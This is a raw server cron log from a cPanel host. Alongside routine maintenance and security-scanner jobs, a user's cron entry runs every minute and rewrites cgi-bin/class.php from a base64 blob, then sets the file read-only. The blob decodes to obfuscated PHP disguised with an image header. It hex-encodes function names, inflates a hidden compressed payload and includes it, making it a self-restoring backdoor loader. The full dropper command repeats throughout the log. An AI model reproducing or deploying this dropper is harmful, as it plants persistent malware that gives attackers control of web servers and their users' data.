Sep  4 15:51:01 server CROND[16685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:51:01 server CROND[16686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:52:01 server CROND[17052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:52:01 server CROND[17053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:52:01 server CROND[17054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:53:01 server CROND[17426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:53:01 server CROND[17427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:53:01 server CROND[17428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:54:01 server CROND[17958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:54:01 server CROND[17959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:54:01 server CROND[17960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:55:01 server CROND[18337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:55:01 server CROND[18340]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:55:01 server CROND[18342]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:55:01 server CROND[18341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:55:01 server CROND[18343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:55:01 server CROND[18339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:55:01 server CROND[18345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:56:01 server CROND[19195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:56:01 server CROND[19197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:56:01 server CROND[19196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:57:01 server CROND[19576]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 15:57:01 server CROND[19577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:57:01 server CROND[19578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:57:01 server CROND[19580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:58:01 server CROND[19944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:58:01 server CROND[19945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:58:01 server CROND[19946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:59:01 server CROND[20400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:59:01 server CROND[20401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:59:01 server CROND[20402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:00:01 server CROND[20790]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:00:01 server CROND[20789]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 16:00:01 server CROND[20791]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:00:01 server CROND[20798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:00:01 server CROND[20797]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 16:00:01 server CROND[20802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:00:01 server CROND[20799]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:00:01 server CROND[20800]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 16:00:01 server CROND[20804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:00:01 server CROND[20805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:01:01 server CROND[21649]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 16:01:01 server CROND[21650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:01:01 server CROND[21651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:01:01 server CROND[21652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:01:01 server run-parts(/etc/cron.hourly)[21649]: starting 0anacron
Sep  4 16:01:01 server run-parts(/etc/cron.hourly)[21669]: finished 0anacron
Sep  4 16:02:01 server CROND[22030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:02:01 server CROND[22031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:02:01 server CROND[22032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:03:01 server CROND[22454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
